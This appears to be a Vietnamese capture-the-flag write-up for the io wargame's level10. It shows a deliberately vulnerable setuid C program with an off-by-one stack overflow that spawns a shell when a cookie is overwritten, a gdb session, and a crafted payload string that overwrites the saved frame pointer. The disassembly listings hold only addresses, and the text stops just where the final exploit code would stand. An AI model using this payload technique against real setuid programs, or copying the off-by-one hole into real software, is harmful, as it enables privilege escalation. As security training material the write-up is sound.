#include
#include
#include
// Contributed by Torch
int limit, c;
int getebp() { __asm__("movl %ebp, %eax"); }
void f(char *s)
{
int *i;
char buf[256];
i = (int *)getebp();
limit = *i - (int)buf + 1;
printf("limit = %d\n",limit);
for (c = 0; c < limit && s[c] != '\0'; c++)
buf[c] = s[c];
}
int main(int argc, char **argv)
{
int cookie = 1000;
if (argc != 2) exit(1);
f(argv[1]);
if ( cookie == 0xdefaced ) {
setresuid(geteuid(), geteuid(), geteuid());
execlp("/bin/sh", "/bin/sh", "-i", NULL);
}
return 0;
}
Ta chú ý 2 dòng này:
i = (int *)getebp(); limit = *i - (int)buf + 1;Tại sao không phải cộng 1 ??? Bạn có thể đoán được điều gì sẽ xảy ra phải không. Vâng, ta sẽ kiểm chứng điều bạn nghĩ :D .
level10@io:/levels$ gdb level10
...
(gdb) disassemble main
Dump of assembler code for function main:
0x08048472
0x08048476
0x08048479
0x0804847c
0x0804847d
0x0804847f
0x08048480
0x08048481
0x08048482
0x08048485
0x08048488
0x0804848f
0x08048492
0x08048495
0x08048497
0x0804849e
0x080484a3
0x080484a6
0x080484a9
0x080484ac
0x080484ae
0x080484b1
0x080484b6
0x080484bd
0x080484bf
0x080484c4
0x080484c6
0x080484cb
0x080484cd
0x080484d2
...
(gdb) b main
Breakpoint 1 at 0x8048482
(gdb) b f
Breakpoint 2 at 0x8048404
(gdb) disassemble f
Dump of assembler code for function f:
0x080483fb
0x080483fc
0x080483fe
0x08048404
0x08048409
0x0804840c
0x0804840f
0x08048411
0x08048417
0x08048419
0x0804841b
0x0804841d
0x0804841e
0x08048423
0x0804842d
0x0804842f
0x08048435
0x0804843a
0x0804843d
0x08048440
0x08048447
0x0804844c
0x0804844d
0x08048452
0x08048458
0x0804845d
0x0804845f
0x08048461
0x08048466
0x08048469
---Type
0x0804846c
0x0804846e
0x08048470
0x08048471
End of assembler dump.
(gdb) b *0x08048741
Breakpoint 3 at 0x8048741
Ta sẽ thử chạy lvl10 với thông số vào là 300 ký tự ngẫu nhiên :
- Tạo genbuf :
(gdb) r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
....
Breakpoint 1, 0x08048482 in main ()
(gdb) i r ebp
ebp 0xbfffdbf8 0xbfffdbf8
(gdb) c
Continuing.
Breakpoint 2, 0x08048404 in f ()
(gdb) c
Continuing.
Breakpoint 4, 0x08048471 in f ()
(gdb) i r ebp ebp 0xbfffdb36 0xbfffdb36
(gdb) x/x $ebp 0xbfffdb36: 0x65413365
(gdb) x/x $ebp-0x10 0xbfffdb26: 0x41386441
---> ebp khi push vào stack đã bị ghi đè 1 byte thành 0xbfffdb36
---> tại offset của ebp tính tới 4 byte là 0x65413345 ứng với chuỗi eA3e trong đoạn genbuf ở trên.
---> khi đó chương trình sẽ truy xuất cookie là 0x41386441 .
Đến đây coi như đã xong, việc còn lại là chỉnh sửa genbuf để phù hợp với phân tích trên. genbuf sau khi chỉnh sửa là :
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7"+"\xed\xac\xef\x0d"+"cede0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9"
Và đoạn exploit như sau :
F/N.